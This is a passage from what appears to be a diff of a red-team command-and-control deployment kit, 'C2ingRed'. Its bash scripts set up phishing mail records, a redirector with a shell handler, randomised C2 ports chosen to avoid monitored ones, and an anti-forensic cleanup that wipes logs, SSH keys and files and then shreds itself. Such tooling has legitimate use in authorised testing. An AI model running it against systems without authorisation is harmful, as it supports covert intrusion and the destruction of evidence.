||||||
|
}
|
||||||
|
|
||||||
|
# Function to display DKIM/DMARC records
|
||||||
|
show_dns_records() {
|
||||||
|
domain=$1
|
||||||
|
|
||||||
|
debug "Showing DNS records for $domain"
|
||||||
|
|
||||||
|
if [ -f "/etc/opendkim/keys/$domain/mail.txt" ]; then
|
||||||
|
echo -e "\n${BLUE}DKIM DNS Record Information for $domain${NC}"
|
||||||
|
echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}"
|
||||||
|
echo -e "${GREEN}=================================================${NC}"
|
||||||
|
echo -e "Name: mail._domainkey.$domain"
|
||||||
|
echo -e "Value:"
|
||||||
|
cat /etc/opendkim/keys/$domain/mail.txt | grep -v "^;" | tr -d '\n'
|
||||||
|
echo -e "\n${GREEN}=================================================${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo -e "\n${BLUE}DMARC Record Recommendation for $domain${NC}"
|
||||||
|
echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}"
|
||||||
|
echo -e "${GREEN}=================================================${NC}"
|
||||||
|
echo -e "Name: _dmarc.$domain"
|
||||||
|
echo -e "Value: v=DMARC1; p=reject; rua=mailto:admin@$domain; ruf=mailto:admin@$domain; pct=100"
|
||||||
|
echo -e "${GREEN}=================================================${NC}"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Function to test redirector connection
|
||||||
|
test_redirector() {
|
||||||
|
# Check if SSH to redirector is configured
|
||||||
|
debug "Testing redirector connection"
|
||||||
|
|
||||||
|
if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then
|
||||||
|
echo -e "\n${BLUE}Testing SSH connection to redirector...${NC}"
|
||||||
|
if [ "$DEBUG" = true ]; then
|
||||||
|
ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'"
|
||||||
|
else
|
||||||
|
ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'" >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
|
||||||
|
ssh_result=$?
|
||||||
|
debug "SSH connection result: $ssh_result"
|
||||||
|
|
||||||
|
if [ $ssh_result -eq 0 ]; then
|
||||||
|
echo -e "${GREEN}SSH connection to redirector successful!${NC}"
|
||||||
|
echo -e "You can access the redirector with: ${YELLOW}ssh redirector${NC}"
|
||||||
|
return 0
|
||||||
|
else
|
||||||
|
echo -e "${RED}Could not connect to redirector.${NC}"
|
||||||
|
echo -e "${YELLOW}Please verify SSH configuration and firewall rules.${NC}"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo -e "\n${YELLOW}Redirector SSH configuration not found.${NC}"
|
||||||
|
echo -e "If you need to access the redirector, please check deployment logs."
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Function to synchronize payloads with redirector
|
||||||
|
sync_payloads() {
|
||||||
|
# Check if sync script exists
|
||||||
|
debug "Attempting to synchronize payloads with redirector"
|
||||||
|
|
||||||
|
if [ -f "/root/Tools/secure_payload_sync.sh" ]; then
|
||||||
|
echo -e "\n${BLUE}Synchronizing payloads with redirector...${NC}"
|
||||||
|
if [ "$DEBUG" = true ]; then
|
||||||
|
/root/Tools/secure_payload_sync.sh
|
||||||
|
else
|
||||||
|
/root/Tools/secure_payload_sync.sh >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
|
||||||
|
sync_result=$?
|
||||||
|
debug "Payload sync result: $sync_result"
|
||||||
|
|
||||||
|
if [ $sync_result -eq 0 ]; then
|
||||||
|
echo -e "${GREEN}Payload synchronization successful${NC}"
|
||||||
|
return 0
|
||||||
|
else
|
||||||
|
echo -e "${RED}Payload synchronization failed${NC}"
|
||||||
|
echo -e "${YELLOW}Check /root/Tools/logs/payload_sync.log for details${NC}"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo -e "\n${YELLOW}Payload sync script not found${NC}"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Function to run redirector post-install script
|
||||||
|
run_redirector_setup() {
|
||||||
|
echo -e "\n${BLUE}Running post-installation setup on redirector...${NC}"
|
||||||
|
debug "Checking if we can connect to redirector"
|
||||||
|
|
||||||
|
# First, test the connection
|
||||||
|
if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then
|
||||||
|
# Check if post_install_redirector.sh exists on the redirector
|
||||||
|
debug "Checking for post_install_redirector.sh on redirector"
|
||||||
|
ssh -o ConnectTimeout=5 redirector "test -f /root/Tools/post_install_redirector.sh" >/dev/null 2>&1
|
||||||
|
|
||||||
|
check_result=$?
|
||||||
|
debug "Script check result: $check_result"
|
||||||
|
|
||||||
|
if [ $check_result -eq 0 ]; then
|
||||||
|
echo -e "${BLUE}Running post-install script on redirector...${NC}"
|
||||||
|
# Pass the debug flag if it's enabled here
|
||||||
|
if [ "$DEBUG" = true ]; then
|
||||||
|
ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh --debug"
|
||||||
|
else
|
||||||
|
ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh"
|
||||||
|
fi
|
||||||
|
|
||||||
|
redir_setup_result=$?
|
||||||
|
debug "Redirector setup result: $redir_setup_result"
|
||||||
|
|
||||||
|
if [ $redir_setup_result -eq 0 ]; then
|
||||||
|
echo -e "${GREEN}Redirector post-installation completed successfully${NC}"
|
||||||
|
return 0
|
||||||
|
else
|
||||||
|
echo -e "${RED}Redirector post-installation failed${NC}"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo -e "${RED}post_install_redirector.sh not found on redirector${NC}"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo -e "${RED}SSH configuration for redirector not found${NC}"
|
||||||
|
echo -e "${YELLOW}Cannot run post-installation on redirector${NC}"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Main execution
|
||||||
|
debug "Starting post-installation process with debug mode: $DEBUG"
|
||||||
|
debug "Run on redirector flag: $RUN_ON_REDIRECTOR"
|
||||||
|
|
||||||
|
echo -e "\n${BLUE}Running post-installation checks...${NC}"
|
||||||
|
|
||||||
|
# Get domain information
|
||||||
|
read -p "Enter primary domain: " domain
|
||||||
|
read -p "Enter email for Let's Encrypt: " email
|
||||||
|
|
||||||
|
# Check DNS configuration
|
||||||
|
echo -e "\n${BLUE}Checking DNS configuration...${NC}"
|
||||||
|
check_dns $domain
|
||||||
|
|
||||||
|
# Ask if user wants to set up Let's Encrypt certificates
|
||||||
|
read -p "Set up Let's Encrypt SSL certificate? (y/n): " setup_ssl
|
||||||
|
if [ "$setup_ssl" = "y" ]; then
|
||||||
|
setup_letsencrypt $domain $email
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Show DNS records to configure
|
||||||
|
show_dns_records $domain
|
||||||
|
|
||||||
|
# Test redirector connection
|
||||||
|
test_redirector
|
||||||
|
|
||||||
|
# Ask if user wants to sync payloads
|
||||||
|
read -p "Synchronize payloads with redirector? (y/n): " sync_payload
|
||||||
|
if [ "$sync_payload" = "y" ]; then
|
||||||
|
sync_payloads
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Ask if user wants to run post-install on redirector
|
||||||
|
if [ "$RUN_ON_REDIRECTOR" = true ] || test_redirector; then
|
||||||
|
read -p "Run post-installation setup on redirector? (y/n): " run_on_redir
|
||||||
|
if [ "$run_on_redir" = "y" ]; then
|
||||||
|
run_redirector_setup
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo -e "\n${GREEN}Post-installation checks complete!${NC}"
|
||||||
|
echo -e "${YELLOW}Ensure your DNS records are properly configured.${NC}"
|
||||||
|
echo -e "${YELLOW}See your deployment log for complete infrastructure details.${NC}"
|
||||||
@@ -0,0 +1,158 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# post_install_redirector.sh - Post-installation setup for redirector
|
||||||
|
|
||||||
|
# ANSI color codes
|
||||||
|
GREEN='\033[0;32m'
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
RED='\033[0;31m'
|
||||||
|
BLUE='\033[0;34m'
|
||||||
|
NC='\033[0m' # No Color
|
||||||
|
|
||||||
|
echo -e "${BLUE}==================================================${NC}"
|
||||||
|
echo -e "${BLUE} C2ingRed Post-Installation Setup - Redirector ${NC}"
|
||||||
|
echo -e "${BLUE}==================================================${NC}"
|
||||||
|
|
||||||
|
# Function to check if domain resolves to current IP
|
||||||
|
check_dns() {
|
||||||
|
domain=$1
|
||||||
|
current_ip=$(curl -s ifconfig.me)
|
||||||
|
resolved_ip=$(dig +short $domain)
|
||||||
|
|
||||||
|
if [ "$resolved_ip" = "$current_ip" ]; then
|
||||||
|
echo -e "${GREEN}DNS check passed for $domain!${NC}"
|
||||||
|
return 0
|
||||||
|
else
|
||||||
|
echo -e "${YELLOW}DNS check failed for $domain${NC}"
|
||||||
|
echo -e "Current IP: $current_ip"
|
||||||
|
echo -e "Resolved IP: $resolved_ip or not set"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Function to set up Let's Encrypt
|
||||||
|
setup_letsencrypt() {
|
||||||
|
domain=$1
|
||||||
|
email=$2
|
||||||
|
|
||||||
|
echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}"
|
||||||
|
|
||||||
|
# Check if certificate already exists
|
||||||
|
if [ -d "/etc/letsencrypt/live/$domain" ]; then
|
||||||
|
echo -e "${YELLOW}Certificate already exists for $domain${NC}"
|
||||||
|
read -p "Do you want to renew it? (y/n): " renew
|
||||||
|
if [ "$renew" != "y" ]; then
|
||||||
|
echo -e "${YELLOW}Skipping certificate renewal${NC}"
|
||||||
|
return 0
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Stop nginx if running to free up port 80
|
||||||
|
systemctl stop nginx 2>/dev/null
|
||||||
|
|
||||||
|
# Get certificate
|
||||||
|
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive
|
||||||
|
|
||||||
|
if [ $? -eq 0 ]; then
|
||||||
|
echo -e "${GREEN}Successfully obtained certificate for $domain${NC}"
|
||||||
|
return 0
|
||||||
|
else
|
||||||
|
echo -e "${RED}Failed to obtain certificate for $domain${NC}"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Function to update NGINX configuration
|
||||||
|
update_nginx_config() {
|
||||||
|
domain=$1
|
||||||
|
|
||||||
|
# Check if NGINX config exists and contains the domain
|
||||||
|
if [ -f "/etc/nginx/sites-available/default" ]; then
|
||||||
|
if grep -q "$domain" "/etc/nginx/sites-available/default"; then
|
||||||
|
echo -e "\n${BLUE}Updating NGINX configuration to use SSL certificate${NC}"
|
||||||
|
|
||||||
|
# Update SSL certificate paths
|
||||||
|
sed -i "s|ssl_certificate .*|ssl_certificate /etc/letsencrypt/live/$domain/fullchain.pem;|" /etc/nginx/sites-available/default
|
||||||
|
sed -i "s|ssl_certificate_key .*|ssl_certificate_key /etc/letsencrypt/live/$domain/privkey.pem;|" /etc/nginx/sites-available/default
|
||||||
|
|
||||||
|
echo -e "${GREEN}NGINX configuration updated${NC}"
|
||||||
|
else
|
||||||
|
echo -e "${YELLOW}Domain $domain not found in NGINX configuration${NC}"
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo -e "${RED}NGINX configuration file not found${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Function to start services
|
||||||
|
start_services() {
|
||||||
|
echo -e "\n${BLUE}Starting required services${NC}"
|
||||||
|
|
||||||
|
# Start nginx
|
||||||
|
systemctl start nginx
|
||||||
|
if [ $? -eq 0 ]; then
|
||||||
|
echo -e "${GREEN}NGINX started successfully${NC}"
|
||||||
|
systemctl enable nginx
|
||||||
|
else
|
||||||
|
echo -e "${RED}Failed to start NGINX${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Start shell handler
|
||||||
|
systemctl start shell-handler
|
||||||
|
if [ $? -eq 0 ]; then
|
||||||
|
echo -e "${GREEN}Shell handler started successfully${NC}"
|
||||||
|
systemctl enable shell-handler
|
||||||
|
else
|
||||||
|
echo -e "${RED}Failed to start shell handler${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Function to display port information
|
||||||
|
show_port_info() {
|
||||||
|
# Display shell handler port
|
||||||
|
if [ -f "/etc/systemd/system/shell-handler.service" ]; then
|
||||||
|
SHELL_PORT=$(grep "LISTEN_PORT=" /root/Tools/shell-handler/persistent-listener.sh | cut -d'=' -f2)
|
||||||
|
echo -e "\n${BLUE}Shell Handler Port Information:${NC}"
|
||||||
|
echo -e "Shell Handler is using port: ${GREEN}$SHELL_PORT${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Display nginx listening ports
|
||||||
|
echo -e "\n${BLUE}NGINX Listening Ports:${NC}"
|
||||||
|
netstat -tulnp | grep nginx
|
||||||
|
}
|
||||||
|
|
||||||
|
# Main execution
|
||||||
|
echo -e "\n${BLUE}Beginning redirector setup process...${NC}"
|
||||||
|
|
||||||
|
# Get domain information
|
||||||
|
read -p "Enter redirector domain (e.g., cdn.example.com): " redirector_domain
|
||||||
|
read -p "Enter email for Let's Encrypt: " email
|
||||||
|
|
||||||
|
# Check if DNS is properly configured
|
||||||
|
echo -e "\n${BLUE}Checking DNS configuration...${NC}"
|
||||||
|
check_dns $redirector_domain
|
||||||
|
|
||||||
|
# Confirm proceeding even if DNS check fails
|
||||||
|
if [ $? -ne 0 ]; then
|
||||||
|
echo -e "${YELLOW}DNS check failed but we can proceed anyway.${NC}"
|
||||||
|
echo -e "${YELLOW}Make sure to set up DNS records before trying to obtain certificates.${NC}"
|
||||||
|
read -p "Do you want to proceed anyway? (y/n): " proceed
|
||||||
|
if [ "$proceed" != "y" ]; then
|
||||||
|
echo -e "${RED}Setup aborted.${NC}"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Set up Let's Encrypt
|
||||||
|
setup_letsencrypt $redirector_domain $email
|
||||||
|
|
||||||
|
# Update NGINX configuration
|
||||||
|
update_nginx_config $redirector_domain
|
||||||
|
|
||||||
|
# Start services
|
||||||
|
start_services
|
||||||
|
|
||||||
|
# Show port information
|
||||||
|
show_port_info
|
||||||
|
|
||||||
|
echo -e "\n${GREEN}Redirector setup complete!${NC}"
|
||||||
|
echo -e "${YELLOW}Make sure DNS records are properly configured for continued operation.${NC}"
|
||||||
@@ -0,0 +1,224 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# randomize_ports.sh - Generate and set random ports for C2 services
|
||||||
|
|
||||||
|
# ANSI color codes
|
||||||
|
GREEN='\033[0;32m'
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
RED='\033[0;31m'
|
||||||
|
BLUE='\033[0;34m'
|
||||||
|
NC='\033[0m' # No Color
|
||||||
|
|
||||||
|
echo -e "${BLUE}==================================================${NC}"
|
||||||
|
echo -e "${BLUE} C2ingRed Port Randomization ${NC}"
|
||||||
|
echo -e "${BLUE}==================================================${NC}"
|
||||||
|
|
||||||
|
# Define port range (avoid well-known and commonly monitored ports)
|
||||||
|
MIN_PORT=10000
|
||||||
|
MAX_PORT=60000
|
||||||
|
|
||||||
|
# Define list of ports to avoid (commonly used services and monitoring tools)
|
||||||
|
AVOID_PORTS=(22 80 443 3389 5985 5986 3306 5432 1433 8080 8443 9090 9091 8008 4444 5555 1234 4321 31337 50051)
|
||||||
|
|
||||||
|
# Function to check if a port is in the avoid list
|
||||||
|
is_port_avoided() {
|
||||||
|
local port=$1
|
||||||
|
for avoid_port in "${AVOID_PORTS[@]}"; do
|
||||||
|
if [ "$port" -eq "$avoid_port" ]; then
|
||||||
|
return 0 # Port should be avoided
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
return 1 # Port is fine to use
|
||||||
|
}
|
||||||
|
|
||||||
|
# Function to check if a port is already in use
|
||||||
|
is_port_in_use() {
|
||||||
|
local port=$1
|
||||||
|
if ss -tuln | grep -q ":$port "; then
|
||||||
|
return 0 # Port is in use
|
||||||
|
fi
|
||||||
|
return 1 # Port is not in use
|
||||||
|
}
|
||||||
|
|
||||||
|
# Function to generate a random port number
|
||||||
|
generate_random_port() {
|
||||||
|
local attempts=0
|
||||||
|
local max_attempts=20
|
||||||
|
local port
|
||||||
|
|
||||||
|
while [ $attempts -lt $max_attempts ]; do
|
||||||
|
port=$((RANDOM % (MAX_PORT - MIN_PORT) + MIN_PORT))
|
||||||
|
|
||||||
|
# Check if port is in avoid list or already in use
|
||||||
|
if ! is_port_avoided $port && ! is_port_in_use $port; then
|
||||||
|
echo $port
|
||||||
|
return 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
attempts=$((attempts + 1))
|
||||||
|
done
|
||||||
|
|
||||||
|
# If we reach here, we couldn't find a suitable port
|
||||||
|
echo "Error: Could not find a suitable random port after $max_attempts attempts" >&2
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
|
||||||
|
# Generate random ports for different services
|
||||||
|
HTTP_C2_PORT=$(generate_random_port)
|
||||||
|
HTTPS_C2_PORT=$(generate_random_port)
|
||||||
|
MTLS_C2_PORT=$(generate_random_port)
|
||||||
|
SHELL_HANDLER_PORT=$(generate_random_port)
|
||||||
|
BEACON_SERVER_PORT=$(generate_random_port)
|
||||||
|
ADMIN_PORT=$(generate_random_port)
|
||||||
|
|
||||||
|
# Print the generated ports
|
||||||
|
echo -e "\n${GREEN}Generated random ports:${NC}"
|
||||||
|
echo -e "HTTP C2 Port: ${YELLOW}$HTTP_C2_PORT${NC}"
|
||||||
|
echo -e "HTTPS C2 Port: ${YELLOW}$HTTPS_C2_PORT${NC}"
|
||||||
|
echo -e "MTLS C2 Port: ${YELLOW}$MTLS_C2_PORT${NC}"
|
||||||
|
echo -e "Shell Handler Port: ${YELLOW}$SHELL_HANDLER_PORT${NC}"
|
||||||
|
echo -e "Beacon Server Port: ${YELLOW}$BEACON_SERVER_PORT${NC}"
|
||||||
|
echo -e "Admin Port: ${YELLOW}$ADMIN_PORT${NC}"
|
||||||
|
|
||||||
|
# Create a port configuration file
|
||||||
|
PORT_CONFIG="/root/Tools/port_config.json"
|
||||||
|
cat > $PORT_CONFIG << EOF
|
||||||
|
{
|
||||||
|
"http_c2_port": $HTTP_C2_PORT,
|
||||||
|
"https_c2_port": $HTTPS_C2_PORT,
|
||||||
|
"mtls_c2_port": $MTLS_C2_PORT,
|
||||||
|
"shell_handler_port": $SHELL_HANDLER_PORT,
|
||||||
|
"beacon_server_port": $BEACON_SERVER_PORT,
|
||||||
|
"admin_port": $ADMIN_PORT
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
|
||||||
|
echo -e "\n${GREEN}Port configuration saved to $PORT_CONFIG${NC}"
|
||||||
|
|
||||||
|
# Function to update Sliver configuration
|
||||||
|
update_sliver_config() {
|
||||||
|
local sliver_config="/root/.sliver/configs/daemon.json"
|
||||||
|
|
||||||
|
if [ -f "$sliver_config" ]; then
|
||||||
|
echo -e "\n${BLUE}Updating Sliver daemon configuration...${NC}"
|
||||||
|
cp "$sliver_config" "${sliver_config}.bak"
|
||||||
|
|
||||||
|
# Check if jq is installed
|
||||||
|
if ! command -v jq &> /dev/null; then
|
||||||
|
echo -e "${YELLOW}jq not found, installing...${NC}"
|
||||||
|
apt-get update && apt-get install -y jq
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Update the configuration with jq
|
||||||
|
jq ".daemon_port = $MTLS_C2_PORT | .daemon_http_port = $HTTP_C2_PORT | .daemon_https_port = $HTTPS_C2_PORT" "${sliver_config}.bak" > "$sliver_config"
|
||||||
|
|
||||||
|
echo -e "${GREEN}Sliver configuration updated successfully${NC}"
|
||||||
|
|
||||||
|
# Restart Sliver service
|
||||||
|
echo -e "${BLUE}Restarting Sliver service...${NC}"
|
||||||
|
systemctl restart sliver
|
||||||
|
else
|
||||||
|
echo -e "${YELLOW}Sliver configuration file not found at $sliver_config${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Function to update shell handler configuration
|
||||||
|
update_shell_handler() {
|
||||||
|
local handler_script="/root/Tools/shell-handler/persistent-listener.sh"
|
||||||
|
|
||||||
|
if [ -f "$handler_script" ]; then
|
||||||
|
echo -e "\n${BLUE}Updating shell handler configuration...${NC}"
|
||||||
|
|
||||||
|
# Update the port in the script
|
||||||
|
sed -i "s/LISTEN_PORT=.*/LISTEN_PORT=$SHELL_HANDLER_PORT/" "$handler_script"
|
||||||
|
|
||||||
|
# Update the service if it exists
|
||||||
|
local service_file="/etc/systemd/system/shell-handler.service"
|
||||||
|
if [ -f "$service_file" ]; then
|
||||||
|
# Add environment variable to service file if not already present
|
||||||
|
if ! grep -q "Environment=\"LISTEN_PORT=" "$service_file"; then
|
||||||
|
sed -i "/\[Service\]/a Environment=\"LISTEN_PORT=$SHELL_HANDLER_PORT\"" "$service_file"
|
||||||
|
else
|
||||||
|
sed -i "s/Environment=\"LISTEN_PORT=.*/Environment=\"LISTEN_PORT=$SHELL_HANDLER_PORT\"/" "$service_file"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Reload systemd and restart the service
|
||||||
|
systemctl daemon-reload
|
||||||
|
systemctl restart shell-handler
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo -e "${GREEN}Shell handler updated to use port $SHELL_HANDLER_PORT${NC}"
|
||||||
|
else
|
||||||
|
echo -e "${YELLOW}Shell handler script not found at $handler_script${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Function to update beacon server configuration
|
||||||
|
update_beacon_server() {
|
||||||
|
local beacon_script="/root/Tools/serve-beacons.sh"
|
||||||
|
|
||||||
|
if [ -f "$beacon_script" ]; then
|
||||||
|
echo -e "\n${BLUE}Updating beacon server configuration...${NC}"
|
||||||
|
|
||||||
|
# Update the port in the script
|
||||||
|
sed -i "s/LISTEN_PORT=.*/LISTEN_PORT=$BEACON_SERVER_PORT/" "$beacon_script"
|
||||||
|
|
||||||
|
# Restart the beacon server if it's running
|
||||||
|
if pgrep -f "serve-beacons.sh" > /dev/null; then
|
||||||
|
echo -e "${YELLOW}Stopping running beacon server...${NC}"
|
||||||
|
pkill -f "serve-beacons.sh"
|
||||||
|
|
||||||
|
echo -e "${GREEN}Starting beacon server with new port...${NC}"
|
||||||
|
nohup "$beacon_script" > /dev/null 2>&1 &
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo -e "${GREEN}Beacon server updated to use port $BEACON_SERVER_PORT${NC}"
|
||||||
|
else
|
||||||
|
echo -e "${YELLOW}Beacon server script not found at $beacon_script${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Function to update NGINX configuration for the redirector
|
||||||
|
update_nginx_redirector() {
|
||||||
|
local nginx_config="/etc/nginx/sites-available/default"
|
||||||
|
|
||||||
|
if [ -f "$nginx_config" ]; then
|
||||||
|
echo -e "\n${BLUE}Updating NGINX redirector configuration...${NC}"
|
||||||
|
|
||||||
|
# Update configuration to use new ports
|
||||||
|
# Note: This assumes standard format used in the C2ingRed templates
|
||||||
|
if grep -q "proxy_pass http://.*:" "$nginx_config"; then
|
||||||
|
sed -i "s|proxy_pass http://.*:8888;|proxy_pass http://{{ c2_ip }}:$HTTP_C2_PORT;|g" "$nginx_config"
|
||||||
|
sed -i "s|proxy_pass https://.*:443;|proxy_pass https://{{ c2_ip }}:$HTTPS_C2_PORT;|g" "$nginx_config"
|
||||||
|
|
||||||
|
# Update stream configuration if it exists
|
||||||
|
local stream_config="/etc/nginx/modules-enabled/stream.conf"
|
||||||
|
if [ -f "$stream_config" ]; then
|
||||||
|
sed -i "s|proxy_pass .*:31337;|proxy_pass {{ c2_ip }}:$MTLS_C2_PORT;|g" "$stream_config"
|
||||||
|
sed -i "s|proxy_pass .*:50051;|proxy_pass {{ c2_ip }}:$HTTP_C2_PORT;|g" "$stream_config"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Reload NGINX
|
||||||
|
systemctl reload nginx
|
||||||
|
|
||||||
|
echo -e "${GREEN}NGINX configuration updated to use new ports${NC}"
|
||||||
|
else
|
||||||
|
echo -e "${YELLOW}Could not find proxy_pass directives in NGINX config${NC}"
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo -e "${YELLOW}NGINX configuration file not found at $nginx_config${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Apply the configuration updates
|
||||||
|
update_sliver_config
|
||||||
|
update_shell_handler
|
||||||
|
update_beacon_server
|
||||||
|
update_nginx_redirector
|
||||||
|
|
||||||
|
echo -e "\n${GREEN}Port randomization complete!${NC}"
|
||||||
|
echo -e "${YELLOW}Remember to update any firewall rules to allow traffic on these ports.${NC}"
|
||||||
|
echo -e "${YELLOW}You should also update your DNS records if they contain SRV records that specify ports.${NC}"
|
||||||
|
|
||||||
|
# Display the new port configuration again for reference
|
||||||
|
echo -e "\n${BLUE}New Port Configuration:${NC}"
|
||||||
|
cat $PORT_CONFIG | jq
|
||||||
@@ -0,0 +1,4 @@
|
|||||||
|
OMITTED — HID injection payload
|
||||||
|
|
||||||
|
This file contains a Rubber Ducky / Bash Bunny script for physical-access
|
||||||
|
scenarios. Payloads are engagement-specific and omitted from public release.
|
||||||
@@ -0,0 +1,96 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Secure cleanup script for terminating the C2 infrastructure
|
||||||
|
|
||||||
|
# Configuration
|
||||||
|
SECURE_DELETE_PASSES=7
|
||||||
|
MEMORY_WIPE=true
|
||||||
|
SELF_DESTRUCT=false # Set to true for complete instance termination (if API available)
|
||||||
|
|
||||||
|
# Set secure umask
|
||||||
|
umask 077
|
||||||
|
|
||||||
|
# Function to securely delete files
|
||||||
|
secure_delete() {
|
||||||
|
local target=$1
|
||||||
|
echo "[+] Securely deleting: $target"
|
||||||
|
|
||||||
|
if command -v srm > /dev/null; then
|
||||||
|
srm -vzf $target 2>/dev/null
|
||||||
|
elif command -v shred > /dev/null; then
|
||||||
|
shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null
|
||||||
|
else
|
||||||
|
# Fallback to dd if specialized tools aren't available
|
||||||
|
dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null
|
||||||
|
dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null
|
||||||
|
rm -f $target 2>/dev/null
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
echo "[+] Beginning secure exit procedure..."
|
||||||
|
|
||||||
|
# Stop all operational services
|
||||||
|
echo "[+] Stopping operational services..."
|
||||||
|
services=("nginx" "sliver" "shell-handler" "gophish" "metasploit" "postgresql" "tor" "opendkim" "postfix" "dovecot")
|
||||||
|
for service in "${services[@]}"; do
|
||||||
|
systemctl stop $service 2>/dev/null
|
||||||
|
service $service stop 2>/dev/null
|
||||||
|
done
|
||||||
|
|
||||||
|
# Kill any remaining operational processes
|
||||||
|
echo "[+] Terminating operational processes..."
|
||||||
|
process_names=("nginx" "sliver" "msfconsole" "meterpreter" "ruby" "nc" "netcat" "socat" "python" "tor")
|
||||||
|
for proc in "${process_names[@]}"; do
|
||||||
|
pkill -9 $proc 2>/dev/null
|
||||||
|
done
|
||||||
|
|
||||||
|
# Clear all logs
|
||||||
|
echo "[+] Clearing logs..."
|
||||||
|
bash /root/Tools/clean-logs.sh
|
||||||
|
|
||||||
|
# Securely delete operational files
|
||||||
|
echo "[+] Removing operational files..."
|
||||||
|
operational_dirs=(
|
||||||
|
"/root/Tools"
|
||||||
|
"/root/Tools/beacons"
|
||||||
|
"/root/Tools/payloads"
|
||||||
|
"/root/.sliver"
|
||||||
|
"/root/.msf4"
|
||||||
|
"/root/.gophish"
|
||||||
|
"/root/Tools"
|
||||||
|
"/home/*/Tools"
|
||||||
|
"/var/www/html"
|
||||||
|
)
|
||||||
|
|
||||||
|
for dir in "${operational_dirs[@]}"; do
|
||||||
|
find $dir -type f 2>/dev/null | while read file; do
|
||||||
|
secure_delete "$file"
|
||||||
|
done
|
||||||
|
rm -rf $dir 2>/dev/null
|
||||||
|
done
|
||||||
|
|
||||||
|
# Remove SSH keys
|
||||||
|
echo "[+] Removing SSH keys and configs..."
|
||||||
|
find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do
|
||||||
|
secure_delete "$file"
|
||||||
|
done
|
||||||
|
|
||||||
|
# Clean memory if requested
|
||||||
|
if $MEMORY_WIPE; then
|
||||||
|
echo "[+] Wiping system memory..."
|
||||||
|
sync
|
||||||
|
echo 3 > /proc/sys/vm/drop_caches
|
||||||
|
swapoff -a
|
||||||
|
swapon -a
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Self-destruct if configured (for cloud providers with API access)
|
||||||
|
if $SELF_DESTRUCT; then
|
||||||
|
echo "[+] Initiating self-destruct sequence..."
|
||||||
|
# This would typically call the cloud provider's API to terminate the instance
|
||||||
|
# For FlokiNET, this would need to be handled manually
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "[+] Secure exit completed. Infrastructure has been sanitized."
|
||||||
|
|
||||||
|
# Remove this script itself
|
||||||
|
exec shred -n $SECURE_DELETE_PASSES -uz $0
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
# tasks/cleanup_confirmation.yml - Common task file for cleanup confirmation
|
||||||
|
- name: Show cleanup information
|
||||||
|
debug:
|
||||||
|
msg: |
|
||||||
|
************************************************
|
||||||
|
* CLEANUP OPERATION *
|
||||||
|
************************************************
|
||||||
|
The following resources will be DELETED PERMANENTLY:
|
||||||
|
